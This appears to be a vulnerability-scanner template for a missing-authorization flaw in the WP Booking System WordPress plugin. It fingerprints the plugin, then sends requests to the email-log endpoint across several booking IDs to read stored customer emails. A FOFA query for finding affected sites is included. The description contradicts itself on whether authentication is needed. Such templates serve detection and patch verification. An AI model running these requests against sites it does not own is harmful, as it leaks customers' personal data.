id: CVE-2026-108123
info:
name: WP Booking System <= 2.1.0.3 - Unauthenticated Email Log Disclosure
author: 0x_Akoko
severity: high
description: |
WP Booking System – Booking Calendar plugin for WordPress <= 2.1.0.3 contains an authorization bypass caused by improper user authorization verification, letting unauthenticated attackers read stored notification emails exposing customer PII, exploit requires authenticated Subscriber-level user.
impact: |
Attackers can access sensitive customer PII including names, emails, phone numbers, and booking details, compromising user privacy and data confidentiality.
remediation: |
Update to the latest version beyond 2.1.0.3.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-booking-system/wp-booking-system-2103-missing-authorization-to-unauthenticated-email-log-disclosure
- https://plugins.trac.wordpress.org/changeset/3750085/wp-booking-system
- https://wordpress.org/plugins/wp-booking-system/
- https://nvd.nist.gov/vuln/detail/CVE-2026-108123
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-108123
epss-score: 0.01024
epss-percentile: 0.63752
cwe-id: CWE-862
metadata:
verified: true
max-request: 5
vendor: wpbookingsystem
product: wp-booking-system
fofa-query: body="/wp-content/plugins/wp-booking-system/"
tags: cve,cve2026,wordpress,wp-plugin,wp-booking-system,exposure,unauth,missing-auth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(body, "plugins/wp-booking-system")'
internal: true
- raw:
- |
GET /wp-admin/admin-post.php?wpbs_action=email_logs&booking_id={{bid}}&email_log_id=0 HTTP/1.1
Host: {{Hostname}}
payloads:
bid:
- 1
- 2
- 3
- 4
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "wpbs-table-first-row")'
- 'contains(body, "text-align:left")'
condition: and
# digest: 4a0a004730450220206091596f5b7212f2ee3b289762c02d5a80d224e15465a0f47696e84b44b24e022100e284d54c68d6c9e948822e40b89934a7092b95e59a463e76e78e377fcca6a06b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.